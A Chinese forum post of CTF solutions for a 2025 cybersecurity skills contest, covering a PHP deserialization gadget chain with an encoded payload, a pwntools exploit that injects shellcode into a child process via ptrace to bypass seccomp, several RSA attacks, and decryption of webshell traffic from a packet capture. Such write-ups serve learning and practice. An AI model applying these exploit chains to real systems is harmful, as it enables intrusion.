[原创]网络安全行业职业技能大赛部分题解-CTF对抗-看雪安全社区

[原创]网络安全行业职业技能大赛部分题解

发表于: 2025-12-11 21:50 20341

[原创]网络安全行业职业技能大赛部分题解

UserXCh

2025-12-11 21:50

20341

> **宇宙安全声明**
> ⚠⚠⚠由于相关题目稀缺难以收集，以下为**部分**题解。题目可能会缺失，欢迎也恳请有资源者补充相关题目。同时因为没法验证答案，可能存在错误，如有问题敬请批评指正。

# 2025年行业职业技能竞赛——第二届网络安全行业职业技能大赛

## t2_2 Web

PHP反序列化。

```php
<?php
class o_dfgdf
{
        public $mod1;
        public function __call($fuc,$param)
        {
            $s = $this->mod1;
            $s();
        }
}
class o_ljiot
{
        public $mod1;
        public function test()
        {
            $this->mod1->test();
        }
}

class o_hjldg
{
        public $mod1;
        public function __destruct()
        {
                $this->mod1->test();
        }
}

class o_lijog
{
        public function get_flag()
        {
           include("flag.php");
           echo $flag;
        }
}

class o_iojnd
{
        public $mod1;
        public function __toString()
        {
                $this->mod1->get_flag();
                return "";
        }
}

class o_podjg
{
        public $mod1;
        public $mod2;
        public function __invoke()
        {
                $this->mod2 = "hello, ".$this->mod1;
        } 
}

$a = @unserialize($_GET['welcome']);
throw new Exception('What happened?');
echo $a;
```

构造以下代码。

```php
$get_flag = new o_lijog();
$toString = new o_iojnd();
$toString->mod1 = $get_flag;
$invoke = new o_podjg();
$invoke->mod1 = $toString;
$call = new o_dfgdf();
$call->mod1 = $invoke;
$test = new o_ljiot();
$test->mod1 = $call;
$destruct = new o_hjldg();
$destruct->mod1 = $test;
$gc = array($destruct, 0);

$welcome = serialize($gc);
$welcome[-7] = '0';
echo urlencode($welcome);
```

得到payload。

```
a%3A2%3A%7Bi%3A0%3BO%3A7%3A%22o_hjldg%22%3A1%3A%7Bs%3A4%3A%22mod1%22%3BO%3A7%3A%22o_ljiot%22%3A1%3A%7Bs%3A4%3A%22mod1%22%3BO%3A7%3A%22o_dfgdf%22%3A1%3A%7Bs%3A4%3A%22mod1%22%3BO%3A7%3A%22o_podjg%22%3A2%3A%7Bs%3A4%3A%22mod1%22%3BO%3A7%3A%22o_iojnd%22%3A1%3A%7Bs%3A4%3A%22mod1%22%3BO%3A7%3A%22o_lijog%22%3A0%3A%7B%7D%7Ds%3A4%3A%22mod2%22%3BN%3B%7D%7D%7D%7Di%3A0%3Bi%3A0%3B%7D
```

## t2_3 Pwn

常规Pwn题目，典型的板子题目。

### 分析思路

检查`checksec`和`seccomp`，查看伪代码。

```
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
```

注意到`No PIE`，这对解题有用。

```
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x09 0xc000003e  if (A != ARCH_X86_64) goto 0011
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x06 0xffffffff  if (A != 0xffffffff) goto 0011
 0005: 0x15 0x05 0x00 0x00000000  if (A == read) goto 0011
 0006: 0x15 0x04 0x00 0x00000013  if (A == readv) goto 0011
 0007: 0x15 0x03 0x00 0x0000002a  if (A == connect) goto 0011
 0008: 0x15 0x02 0x00 0x00000039  if (A == fork) goto 0011
 0009: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0011
 0010: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0011: 0x06 0x00 0x00 0x00000000  return KILL
```

虽然没有过滤`execve`，但是直接执行`execve("/bin/sh", 0, 0)`是不可行的。因为执行中同样适用`read`被禁用的规则，而执行必然调用`read`。

```c
int __fastcall main(int argc, const char **argv, const char **envp)
{
  __pid_t v4; // [rsp+4h] [rbp-Ch]

init(argc, argv, envp);
  v4 = fork();
  if ( v4 )
  {
    printf("pid: %d\n", v4);
    mmap((void *)0x10000, 0x1000u, 7, 50, -1, 0);
    read(0, (void *)0x10000, 0x1000u);
    sandbox();
    MEMORY[0x10000]();
  }
  else
  {
    love();
  }
  return 0;
}
```

符合以下特征。

- 父子进程，子进程`pid`已知。
- 父进程启用了`seccomp`沙箱，但`ptrace`系统调用未被过滤。
- 子进程未启用`seccomp`沙箱。
- 子进程可执行地址已知。

### 解题模板

对于符合此类特征的题目，直接使用模板即可。

与此类似的题目例如NepCTF 2025 smallbox。【[参考1](https://bbs.kanxue.com/thread-287806.htm#msg_header_h3_1)、[参考2](https://bbs.kanxue.com/thread-287850.htm)】区别是原题的子进程可执行地址是由`mmap`固定分配的，而此题的子进程可执行地址可借用原始代码段（回顾：`No PIE`）。

```py
from pwn import *

context(os="linux", arch="amd64", log_level="debug")

fork_shellcode = b"\x90" * 2
fork_shellcode += asm(shellcraft.sh())
while len(fork_shellcode) % 8 != 0:
    fork_shellcode += b"\x90"
fork_shellcode_u64 = [
    u64(fork_shellcode[i : i + 8]) for i in range(0, len(fork_shellcode), 8)
]

PTRACE_PEEKDATA = 2
PTRACE_POKEDATA = 5
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17

main_shellcode = asm("mov r14d, [rbp-0xC]")
pid = "r14"
main_shellcode += asm(shellcraft.ptrace(PTRACE_ATTACH, pid, 0, 0))
main_shellcode += asm(shellcraft.wait4(pid, 0, 0, 0))
fork_exec_addr = 0x401170
for idx, i in enumerate(fork_shellcode_u64):
    main_shellcode += asm(
        shellcraft.ptrace(PTRACE_POKEDATA, pid, fork_exec_addr + idx * 8, i)
    )
main_regs_addr = 0x10000 + 0x500
main_shellcode += asm(shellcraft.ptrace(PTRACE_GETREGS, pid, 0, main_regs_addr))
main_shellcode += asm("mov rax, 0x{:X}".format(main_regs_addr))
main_shellcode += asm("mov rdx, 0x{:X}".format(fork_exec_addr + 2))
main_shellcode += asm("mov [rax+0x80], rdx")
main_shellcode += asm(shellcraft.ptrace(PTRACE_SETREGS, pid, 0, main_regs_addr))
main_shellcode += asm(shellcraft.ptrace(PTRACE_DETACH, pid, 0, 0))
main_shellcode += asm("jmp $")

io = process("./ezpwn")
io.send(main_shellcode)
io.interactive()
```

### 碎碎念（划重点）

整体逻辑较为简单，但有部分要点需要强调。

**Q1:** 为什么使用汇编获取`pid`？

在本题中，`pid`是被直接输出的，因此可以通过`io`获取。但是考虑到通用性，有时题目不会输出`pid`，但以上结果可能被暂存在堆栈或寄存器中，因此使用汇编获取。此外，若采用将`pid`嵌入汇编源码的方式，由于`asm`每次汇编需要时间，而相同代码汇编可以利用缓存，为提高效率，防止超时，使用固定寄存器也是合理的。

**Q2:** 为什么前置`b"\x90" * 2`，并跳转到`fork_exec_addr + 2`？

原题中没有体现这点，不完成这一操作也可打通。但此题有相当大概率不行。关键原因在于是否存在系统调用。

```c
// 原题逻辑
      while ( 1 )
        ;

// 本题逻辑
  for ( i = 0; i <= 2999; ++i )
  {
    puts("i love you");
    result = sleep(1u);
  }
```

原题是死循环，未涉及系统调用。而本题则包含系统调用。这到底意味着什么呢？这里涉及到Linux代码追溯至<a href="elink@6a6K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2C8k6i4u0F1k6h3I4Q4x3X3g2G2M7X3N6Q4x3V1k6H3N6h3u0Q4x3V1k6D9K9h3&6#2P5q4)9J5c8X3E0W2M7X3&6W2L8q4)9J5c8V1S2A6M7%4c8G2M7X3W2U0i4K6u0r3L8$3I4V1i4K6u0V1N6X3g2J5M7$3W2G2L8Y4y4Q4x3V1k6d9c8f1I4z5e0#2c8q4f1#2)9J5k6o6m8Q4x3X3f1I4x3R3`.`.">0.12版本</a>（1992年，非常早，当时Linux还是按版本而非补丁发布）开始引入的代码行为。

```c
	if ((orig_eax != -1) &&
	    ((eax == -ERESTARTSYS) || (eax == -ERESTARTNOINTR))) {
		if ((eax == -ERESTARTSYS) && ((sa->sa_flags & SA_INTERRUPT) ||
		    signr < SIGCONT || signr > SIGTTOU))
			*(&eax) = -EINTR;
		else {
			*(&eax) = orig_eax;
			*(&eip) = old_eip -= 2;
		}
	}
```

例如本题，如果中断在系统调用之间，则会回退2字节，例如原题，如果不中断在系统调用之间，则无此烦恼。为了使得代码通用，我们前置`b"\x90" * 2`，并跳转到`fork_exec_addr + 2`。【<a href="elink@f7cK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2S2K9$3q4E0j5h3W2Q4x3X3g2U0L8$3#2Q4x3V1k6T1L8r3!0Y4i4K6u0r3M7$3g2U0N6i4u0A6N6s2W2Q4x3X3c8J5k6i4y4W2j5i4u0U0K9q4)9J5c8Y4c8Z5k6g2)9J5k6r3c8W2k6X3W2F1K9i4c8A6N6X3g2Q4x3X3c8Y4N6h3W2V1k6g2)9J5k6s2c8G2i4K6u0V1L8r3W2F1N6i4S2Q4x3X3c8H3M7X3!0U0k6i4y4K6i4K6u0V1K9h3&6B7k6h3y4@1K9h3!0F1">参考</a>】

## t3_1 Crypto

经典RSA题目。

### step1

```py
from Crypto.Util.number import *
from secret import flag

e = 65537
m = bytes_to_long(flag.encode())
p = getPrime(256)
q1, q2 = getPrime(256), getPrime(256)
n1 = p*q1
n2 = p*q2
c1 = pow(m, e, n1)
c2 = pow(m, e, n2)
print("n1 = {}\nn2 = {}".format(n1, n2))
print("c1 = {}\nc2 = {}".format(c1, c2))

# n1 = ...
# n2 = ...
# c1 = ...
# c2 = ...
```

关注到`n1`和`n2`有最大公因数`p`，然后可得到`q1`、`q2`。

```py
from Crypto.Util.number import *
from math import gcd

n1 = ...
n2 = ...
c1 = ...
c2 = ...

e = 65537
p = gcd(n1, n2)
q1 = n1 // p
q2 = n2 // p
phi1 = (p - 1) * (q1 - 1)
phi2 = (p - 1) * (q2 - 1)
assert gcd(phi1, e) == 1
assert gcd(phi2, e) == 1
d1 = pow(e, -1, phi1)
d2 = pow(e, -1, phi2)
m1 = pow(c1, d1, n1)
m2 = pow(c2, d2, n2)
assert m1 == m2

print(long_to_bytes(m1).decode())
```

得到前半部分结果`flag="flag{d963aed3-87d3"`。

### step2

```py

#encoding:utf-8
from Crypto.Util.number import long_to_bytes, bytes_to_long, getPrime
import random, gmpy2

class RSAEncryptor:
    def __init__(self):
        self.g = self.a = self.b = 0
        self.e = 65537
        self.factorGen()
        self.product()

def factorGen(self):
        while True:
            self.g = getPrime(256)

while True:
                self.a = random.randrange(1 << 273, 1 << 274)
                if gmpy2.is_prime(2*self.g*self.a + 1):
                    break

while True:
                self.b = random.randrange(1 << 273, 1 << 274)
                if gmpy2.is_prime(2*self.g*self.b + 1) and self.b != self.a:
                    break

self.h = 2*self.g*self.a*self.b + self.a + self.b
            self.N = 2*self.g*self.h + 1
            return

def encrypt(self, msg_int):
        return int(gmpy2.powmod(msg_int, self.e, self.N))

def product(self):
        with open('/flag', 'rb') as f:
            raw = f.read().strip()
        m = bytes_to_long(raw)
        self.enc = self.encrypt(m)
        self.show()
        print(f'enc={self.enc}')

def show(self):
        print(f"N={self.N}")
        print(f"e={self.e}")
        print(f"g={self.g}")

RSAEncryptor()

# N=...
# e=65537
# g=...
# r=2
# enc=...
```

好的，题目也不知道哪里拼来改的，我也不知道给出的`r`是个啥。也就是给出`N`、`e`、`enc`、`g`要求`m`。

此题为共素数RSA。【<a href="elink@9a2K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Z5j5i4y4W2k6$3q4%4j5h3q4*7N6i4y4S2i4K6u0W2k6$3W2@1K9s2g2T1i4K6u0W2K9h3!0Q4x3V1k6U0L8$3#2E0L8$3&6Q4x3X3c8H3M7X3W2E0k6g2)9J5k6s2u0K6j5g2)9J5k6h3S2@1L8h3H3`.">参考</a>】

直接使用文章中的脚本。先简单计算下相关的参数，判断符合文章“1.3.3. 已知 g”一节中“g < a + b”的情况。

```py
from math import log

N = ...
e = ...
g = ...
enc = ...

print("g = {}".format(g))
print("N = {}".format(N))
print("nbits = {}".format(len(bin(N)[2:])))
print("gbits = {}".format(len(bin(g)[2:])))
print("gamma = {}".format(log(g, N)))
```

稍微扩大范围。

```py
from sage.groups.generic import bsgs

g = ...
N = ...
nbits = ...
gbits = ...
gamma = ...
cbits = ceil(nbits * (0.5 - 2 * gamma))

M = (N - 1) // (2 * g)
u = M // (2 * g)
v = M - 2 * g * u
GF = Zmod(N)
x = GF.random_element()
y = x ^ (2 * g)
# c的范围大概与N^(0.5-2*gamma)很接近
c = bsgs(y, y ^ u, ((2 ** (cbits - 2)), (2 ** (cbits + 2))))
ab = u - c
apb = v + 2 * g * c
P.<x> = ZZ[]
f = x ^ 2 - apb * x + ab
a = f.roots()
if a:
    a, b = a[0][0], a[1][0]
    p = 2 * g * a + 1
    q = 2 * g * b + 1
    assert p * q == N
    print(p)
    print(q)
```

得到`p`、`q`后直接解密即可。

```py
from Crypto.Util.number import *

p = ...
q = ...
N = p * q
e = ...
enc = ...
d = inverse(e, (p - 1) * (q - 1))
m = pow(enc, d, N)
print(long_to_bytes(m).decode())
```

得到后半部分结果`-11f0-88f5-7cb56648c636}`。

## t3_2 Reverse

简单Reverse题目。换表Base64。

```
码表：abcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZ=
编码：zAL7zRHfyxnTxOj7yB/5uAv71fXszxz/2Bn/iteMmNeMmOfcqcnX
解码：flag{Easy_Baby_Real_Reverse!123123AB@#}
```

## t3_3 Misc + Crypto

流量分析题目，套娃公钥密码。

### 流量分析部分

开幕雷击。上传了木马`shell.php`。题目把密码`rebeyond`给我们了。

提前准备CyberChef解密请求体。

```
From_Base64('A-Za-z0-9+/=',true,false)
AES_Decrypt({'option':'Latin1','string':'e45e329feb5d925b'},{'option':'Hex','string':'00000000000000000000000000000000'},'CBC','Raw','Raw',{'option':'Hex','string':''},{'option':'Hex','string':''})
Drop_bytes(0,27,false)
Drop_bytes(-4,4,false)
From_Base64('A-Za-z0-9+/=',true,false)
Syntax_highlighter('php')
```

提前准备CyberChef解密响应体。

```
From_Base64('A-Za-z0-9+/=',true,false)
AES_Decrypt({'option':'Latin1','string':'e45e329feb5d925b'},{'option':'Hex','string':'00000000000000000000000000000000'},'CBC','Raw','Raw',{'option':'Hex','string':''},{'option':'Hex','string':''})
Find_/_Replace({'option':'Regex','string':'{"status":"([^"]+)","msg":"([^"]+)"}'},'$1\\n$2',true,false,true,false)
Fork('\\n','\\n',false)
From_Base64('A-Za-z0-9+/=',true,false)
```

使用过滤器`http.request.method == POST && http.request.uri contains shell.php`，结果如下。

```
294 33.409864   192.168.1.14    192.168.1.12    HTTP    452 POST /upload/d41d8cd98f00b204e9800998ecf8427e/shell.php HTTP/1.1  (application/x-www-form-urlencoded)
312 33.792878   192.168.1.14    192.168.1.12    HTTP    534 POST /upload/d41d8cd98f00b204e9800998ecf8427e/shell.php HTTP/1.1  (application/x-www-form-urlencoded)
1017    38.773122   192.168.1.14    192.168.1.12    HTTP    166 POST /upload/d41d8cd98f00b204e9800998ecf8427e/shell.php HTTP/1.1  (application/x-www-form-urlencoded)
1390    38.804467   192.168.1.14    192.168.1.12    HTTP    166 POST /upload/d41d8cd98f00b204e9800998ecf8427e/shell.php HTTP/1.1  (application/x-www-form-urlencoded)
1996    48.567286   192.168.1.14    192.168.1.12    HTTP    378 POST /upload/d41d8cd98f00b204e9800998ecf8427e/shell.php HTTP/1.1  (application/x-www-form-urlencoded)
2379    48.693867   192.168.1.14    192.168.1.12    HTTP    270 POST /upload/d41d8cd98f00b204e9800998ecf8427e/shell.php HTTP/1.1  (application/x-www-form-urlencoded)
```

遇到混淆流量，追踪HTTP流可能会有问题，故追踪TCP流。逐条分析，主要包括连接验证流量、系统信息流量、列举目录流量、下载文件流量（下载文件为`/Users/g0fl1er/website/train/upload/d41d8cd98f00b204e9800998ecf8427e/data.zip`，保存文件后续分析）、校验文件流量（文件哈希`c8f82d835a75f23c`）。

### 公钥密码部分

`data.zip`内容如下。

`hint.txt`

```
尝试在publickey1.pem和publickey2.pem寻找关键信息去破解他吧
n1=p*q
from hashlib import *
flag='flag{'+md5(str(p).encode()+str(q).encode()).hexdigest()+'}'
print(flag)
```

`publickey1.pem`

```
-----BEGIN PUBLIC KEY-----
MIIBHjANBgkqhkiG9w0BAQEFAAOCAQsAMIIBBgKBgD8CMX/+GnYc4ejOdOuLWt2F
LGdfPjnsuEZFIXMjY2lbZ0IMoSVvwu78uQGeyYGbO/LFG5WsjMBdIK8+/gpOsug1
fKVA7Hs/DjKsqx83WKZbowbmnf+39xyEc+89ADIHW9rOjJhZh1BMFEOmuqaYW9Nh
kG6O8iHgSmxf0/gjNDLZAoGAEwp8xsjhZboBN716SZ2j05koifmb839mGliEF6ao
Oi5qmx0C2b6INrdgCh4bWs4ThiL6Fp0t3nNp4vYZaRhXaspheUwfzto2lPc82LKO
vg5YN6775Uy/NOwEIDPPfYYxBpiakiSD/md5Q8Vql3jUurxOKKduKTaoCr7M8Gbn
f3k=
-----END PUBLIC KEY-----
```

`publickey2.pem`

```
-----BEGIN PUBLIC KEY-----
MIIBHjANBgkqhkiG9w0BAQEFAAOCAQsAMIIBBgKBgBhvHDyxg3xmDDuGtdv8ugk1
ccPV7vWrqVjgZT2qByxaZOv6UeSqAOera4VM8qjhBzrvKTblk3iVdze7VCRvI+5l
VgO7xiAA6+6VwHtFYGT/6vTPZLiYIA7YbFv9k2kj4ygceLeElDvLgw+ITfw4Ekft
h1vkB6mLyU77/UvPapjBAoGAEwp8xsjhZboBN716SZ2j05koifmb839mGliEF6ao
Oi5qmx0C2b6INrdgCh4bWs4ThiL6Fp0t3nNp4vYZaRhXaspheUwfzto2lPc82LKO
vg5YN6775Uy/NOwEIDPPfYYxBpiakiSD/md5Q8Vql3jUurxOKKduKTaoCr7M8Gbn
f3k=
-----END PUBLIC KEY-----
```

使用以下CyberChef recipe。

```
PEM_to_Hex()
Parse_ASN.1_hex_string(0,128)
```

得到：

```
SEQUENCE
  SEQUENCE
    ObjectIdentifier rsaEncryption (1 2 840 113549 1 1 1)
    NULL
  BITSTRING, encapsulates
    SEQUENCE
      INTEGER 3f02317ffe1a761ce1e8ce74eb8b5add852c675f3e39ecb8464521732363695b67420ca1256fc2eefcb9019ec9819b3bf2c51b95ac8cc05d20af3efe0a4eb2e8357ca540ec7b3f0e32acab1f3758a65ba306e69dffb7f71c8473ef3d0032075bdace8c985987504c1443a6baa6985bd361906e8ef221e04a6c5fd3f8233432d9
      INTEGER 130a7cc6c8e165ba0137bd7a499da3d3992889f99bf37f661a588417a6a83a2e6a9b1d02d9be8836b7600a1e1b5ace138622fa169d2dde7369e2f6196918576aca61794c1fceda3694f73cd8b28ebe0e5837aefbe54cbf34ec042033cf7d863106989a922483fe677943c56a9778d4babc4e28a76e2936a80abeccf066e77f79

SEQUENCE
  SEQUENCE
    ObjectIdentifier rsaEncryption (1 2 840 113549 1 1 1)
    NULL
  BITSTRING, encapsulates
    SEQUENCE
      INTEGER 186f1c3cb1837c660c3b86b5dbfcba093571c3d5eef5aba958e0653daa072c5a64ebfa51e4aa00e7ab6b854cf2a8e1073aef2936e59378957737bb54246f23ee655603bbc62000ebee95c07b456064ffeaf4cf64b898200ed86c5bfd936923e3281c78b784943bcb830f884dfc381247ed875be407a98bc94efbfd4bcf6a98c1
      INTEGER 130a7cc6c8e165ba0137bd7a499da3d3992889f99bf37f661a588417a6a83a2e6a9b1d02d9be8836b7600a1e1b5ace138622fa169d2dde7369e2f6196918576aca61794c1fceda3694f73cd8b28ebe0e5837aefbe54cbf34ec042033cf7d863106989a922483fe677943c56a9778d4babc4e28a76e2936a80abeccf066e77f79
```

在PEM中，上面的为模数，下面的为指数。或者使用脚本也可自动解析这一点。

```py
from cryptography.hazmat.primitives import serialization

with open("publickey1.pem", "rb") as f:
    pk1 = serialization.load_pem_public_key(f.read())
pn1 = pk1.public_numbers()
with open("publickey2.pem", "rb") as f:
    pk2 = serialization.load_pem_public_key(f.read())
pn2 = pk2.public_numbers()

n1 = pn1.n
n2 = pn2.n
assert pn1.e == pn2.e
e = pn1.e

print(f"{n1 = }")
print(f"{n2 = }")
print(f"{e = }")
```

在Misc题目里面塞Crypto题目是令人无语的。已知`n1`、`n2`、`e`。小伙伴们可能会问，能解？嘿，还别说，出题人设计了`n1`、`n2`有相同的`d`。别问，问就是出题人也没说，问就是做题经验，反正我没有。【<a href="elink@16fK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Z5j5i4y4W2k6$3q4%4j5h3q4*7N6i4y4S2i4K6u0W2k6$3W2@1K9s2g2T1i4K6u0W2K9h3!0Q4x3V1k6V1N6h3q4D9i4K6u0V1M7Y4y4S2i4K6u0V1L8X3!0@1k6g2)9J5k6h3S2@1L8h3H3`.">参考</a>】

先用SageMath跑出`d`。直接用上述文章中的脚本。

```py
n1 = ...
n2 = ...
e = ...

A = e / ZZ(isqrt(n1))
B = matrix.diagonal([A, -n1, -n2], sparse=False)
B[0, 1:] = e
L = B.LLL()
d = L[0, 0]
d = d // A
print(f"{d = }")
```

再根据`n`、`e`、`d`求出`p`、`q`。借用不知何处找来的脚本。

```py
from math import gcd
import random

n = ...
e = ...
d = ...

k = e * d - 1

r = k
t = 0
while True:
    r = r // 2
    t += 1
    if r % 2 == 1:
        break

success = False

for i in range(1, 101):
    g = random.randint(0, n)
    y = pow(g, r, n)
    if y == 1 or y == n - 1:
        continue

for j in range(1, t):
        x = pow(y, 2, n)
        if x == 1:
            success = True
            break
        elif x == n - 1:
            continue
        else:
            y = x

if success:
        break
    else:
        continue

if success:
    p = gcd(y - 1, n)
    q = n // p
    assert n == p * q
    p, q = max(p, q), min(p, q)
    print(f"P: {p}")
    print(f"Q: {q}")
else:
    print("Cannot compute P and Q")
```

按照`hint.txt`计算即可。咱也不知道他的`p`、`q`分别是啥。一般认为`p > q`吧……

## t3_7 Misc

简单Misc题目。修复PNG图片宽高。

```
python fix_png_size.py autumn1.png autumn1.fix.png
Cracking autumn1.png for CRC b038c084...
Found size 1575x955!
Fixed file written to autumn1.fix.png.
```

修复后：

![](upload/attach/202512/726188_GVDVWC49SYZ87TZ.webp)

图中可见flag。

# 致谢

由于是资源整合文章，照搬照抄了众多脚本，许多来源已经不可考。总有一天我要不做脚本小子/(ㄒoㄒ)/

以下列出我能够找到ID的，按照首次出现在本文的顺序排序。

- zer00ne
- Real返璞归真
- Ori David
- hasegawaazusa
- （待补充）

登录后可查看完整内容

传递专业知识、拓宽行业人脉——看雪讲师团队等你加入！！

最后于 2025-12-11 22:12 被UserXCh编辑，原因：完善排版

#Reverse #Web #Pwn #Crypto #Misc

上传的附件：

t3_7.zip （2.68MB，6次下载）
t3_3.pcap （2.23MB，6次下载）
t3_2.zip （2.91kb，4次下载）
t3_1.zip （1.71kb，5次下载）
t2_3.zip （2.94kb，5次下载）
t2_2.zip （0.45kb，6次下载）

收藏・3

点赞・2

打赏

最新回复 (1)
mb_qeglbaxf 雪币： 0 能力值： ( LV1，RANK：0 ) 在线值：发帖 2 回帖 3 粉丝 1 关注私信	mb_qeglbaxf 2 楼感谢分享???? 2025-12-13 15:33 0
	游客登录 \| 注册方可回帖回帖表情雪币赚取及消费高级回复

UserXCh

发帖

回帖

RANK

关注

私信

他的文章

关于我们

联系我们

企业服务

看雪公众号

最新回复 (1)
mb_qeglbaxf 雪币： 0 能力值： ( LV1，RANK：0 ) 在线值：发帖 2 回帖 3 粉丝 1 关注私信	mb_qeglbaxf 2 楼感谢分享???? 2025-12-13 15:33 0
	游客登录 \| 注册方可回帖回帖表情雪币赚取及消费高级回复